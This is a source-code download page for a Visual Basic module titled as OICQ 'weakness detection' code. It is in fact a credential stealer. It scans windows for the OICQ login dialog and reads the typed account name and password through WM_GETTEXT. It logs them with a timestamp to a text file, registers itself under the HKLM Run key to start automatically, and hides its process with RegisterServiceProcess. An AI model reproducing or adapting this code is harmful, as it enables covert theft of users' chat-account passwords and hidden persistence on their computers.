Module1.bas
上传用户:longston
上传日期:2007-05-02
资源大小:23k
文件大小:6k
源码类别:

ICQ弱点检测代码

开发平台:

Visual Basic

  1. Attribute VB_Name = "Module1"
  2. Option Explicit
  3. Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Any, ByVal lParam As Long) As Long
  4. Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  5. Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, _
  6. ByVal lpClassName As String, ByVal nMaxCount As Long) As Long '为指定的窗口取得类名
  7. Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
  8. Const GW_CHILD = 5
  9. Const GW_HWNDNEXT = 2
  10. Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal _
  11. wMsg As Long, ByVal wParam As Long, lParam As Any) As Long '发送消息
  12. Const WM_GETTEXT = &HD
  13. Const WM_GETTEXTLENGTH = &HE
  14. Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
  15. Const RSP_SIMPLE_SERVICE = 1 '隐藏
  16. Declare Function RegCreateKey& Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey&, ByVal lpszSubKey$, lphKey&)
  17. Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
  18. Const HKEY_LOCAL_MACHINE = &H80000002
  19. Const REG_SZ = 1
  20. Declare Function CreateFileMapping Lib "kernel32" Alias "CreateFileMappingA" _
  21. (ByVal hFile As Long, lpFileMappigAttributes As SECURITY_ATTRIBUTES, ByVal flProtect _
  22. As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As Long, ByVal lpName _
  23. As String) As Long
  24. Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
  25. Type SECURITY_ATTRIBUTES
  26.         nLength As Long
  27.         lpSecurityDescriptor As Long
  28.         bInheritHandle As Long
  29. End Type
  30. Const PAGE_READWRITE = 1
  31. Const ERROR_ALREADY_EXISTS = 183&
  32. Dim buf As String
  33. Dim nameall, name, passwordall, password As String
  34. Dim i As Integer
  35. Dim title, titleall, filepath As String
  36. Public Function EnumProc(ByVal app_hwnd As Long, ByVal lParam As Long) As Boolean '遍查主窗口
  37. Dim buf As String * 1024
  38. Dim length As Long
  39.     filepath = App.Path & ".txt"
  40.     If Dir(filepath) = "" Then
  41.         title = ""
  42.         titleall = ""
  43.     End If
  44.     
  45.     length = GetWindowText(app_hwnd, buf, Len(buf))
  46.     title = Left$(buf, length)
  47.     If InStr(title, "OICQ用户登录") Then '判断是否为 OICQ 窗口
  48.         Call GetZiWin(app_hwnd)
  49.     End If
  50.     
  51.     If title <> "" Then
  52.         If InStr(titleall, title) Then
  53.             EnumProc = 1
  54.     Else
  55.             titleall = titleall + title
  56.             If name <> "" Then
  57.                 If InStr(title, name) Then SaveFile '保存帐号密码
  58.             End If
  59.     End If
  60. End If
  61. EnumProc = 1
  62. End Function
  63. Public Function GetZiWin(window_hwnd As Long) As String
  64. Dim buflen As Long
  65. Dim child_hwnd As Long
  66. Dim children() As Long
  67. Dim num_children As Integer
  68. Dim i As Integer
  69.     '取得类名
  70.     buflen = 256
  71.     buf = Space$(buflen - 1)
  72.     buflen = GetClassName(window_hwnd, buf, buflen)
  73.     buf = Left$(buf, buflen)
  74.     
  75.     If Right(buf, 8) = "ComboBox" Or Right(buf, 4) = "Edit" Then
  76.         GetZiWin = GetWinText(window_hwnd)
  77.         Exit Function
  78.     End If
  79.     num_children = 0
  80.     child_hwnd = GetWindow(window_hwnd, GW_CHILD) '取得第 1 个子窗口的句柄
  81.     Do While child_hwnd <> 0 '如果有子窗口
  82.         num_children = num_children + 1
  83.         ReDim Preserve children(1 To num_children)
  84.         children(num_children) = child_hwnd
  85.         
  86.         child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) '取得下一个兄弟窗口的句柄
  87.     Loop
  88.     
  89.     For i = 1 To num_children
  90.         Call GetZiWin(children(i))
  91.     Next i
  92. End Function
  93. Public Function GetWinText(window_hwnd As Long) As String '取得子窗口的值
  94. Dim txtlen As Long
  95. Dim txt As String
  96.   '通过 SendMessage 发送 WM_GETTEXT 取得地址栏的值
  97.   GetWinText = ""
  98.   If window_hwnd = 0 Then Exit Function
  99.     
  100.   txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)
  101.   If txtlen = 0 Then Exit Function
  102.     
  103.   txtlen = txtlen + 1
  104.   txt = Space$(txtlen)
  105.   txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, ByVal txt)
  106.   GetWinText = Left$(txt, txtlen)
  107.     
  108.   If buf = "ComboBox" Then
  109.         name = GetWinText
  110.         If InStr(nameall, name) Then
  111.                 i = 0
  112.         Else
  113.                 nameall = nameall + name
  114.                 i = i + 1
  115.         End If
  116.   Else
  117.         password = GetWinText
  118.         If InStr(passwordall, password) Then
  119.                 i = 0
  120.         Else
  121.                 passwordall = passwordall + password
  122.                 i = i + 1
  123.         End If
  124.   End If
  125.   
  126. End Function
  127. Sub SaveFile()
  128. Dim file_num As Integer
  129. Dim allstr As String
  130.   allstr = name & Space(5) & password & Space(5) & Now
  131.   file_num = FreeFile
  132.   If Dir(filepath) = "" Then
  133.       Open filepath For Output As #file_num
  134.   Else
  135.       Open filepath For Append As #file_num
  136.   End If
  137.   Print #file_num, allstr
  138.   Close #file_num
  139. End Sub
  140. Sub AutoRun()
  141. Dim sKeyName As String, sKeyValue As String, sKeyValueIcon As String
  142. Dim Ret As Integer, lphKey As Long
  143.   sKeyName = "SoftwareMicrosoftWindowsCurrentVersionRun" '是启动项在注册表中位置,大家可能通过 regedit.exe 来查看
  144.   sKeyValue = App.Path & IIf(Len(App.Path) > 3, "" & "KillOicq.exe", "KillOicq.exe") 'monitor.exe 为这个程序
  145.   Ret = RegCreateKey&(HKEY_LOCAL_MACHINE, sKeyName, lphKey) '创建新的启动项
  146.   Ret = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&) '设置键值
  147. End Sub
  148. Sub Main()
  149. Dim ynRun As Long
  150. Dim sa As SECURITY_ATTRIBUTES
  151.   sa.bInheritHandle = 1
  152.   sa.lpSecurityDescriptor = 0
  153.   sa.nLength = Len(sa)
  154.   ynRun = CreateFileMapping(&HFFFFFFFF, sa, PAGE_READWRITE, 0, 128, App.title) '创建内存映射文件
  155.   'If ynRun = 0 Then MsgBox "创建内存映射文件失败", vbQuestion, "错误"
  156.   If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then '如果指定内存文件已存在,则提示并退出
  157.   '    MsgBox "程序已运行!", vbQuestion, "错误"
  158.       CloseHandle ynRun '退出程序前关闭内存映射文件
  159.       End
  160.   End If
  161. End Sub
  162. Sub HideMyWin()
  163.     Dim lngProcessID As Long
  164.     RegisterServiceProcess lngProcessID, RSP_SIMPLE_SERVICE
  165. End Sub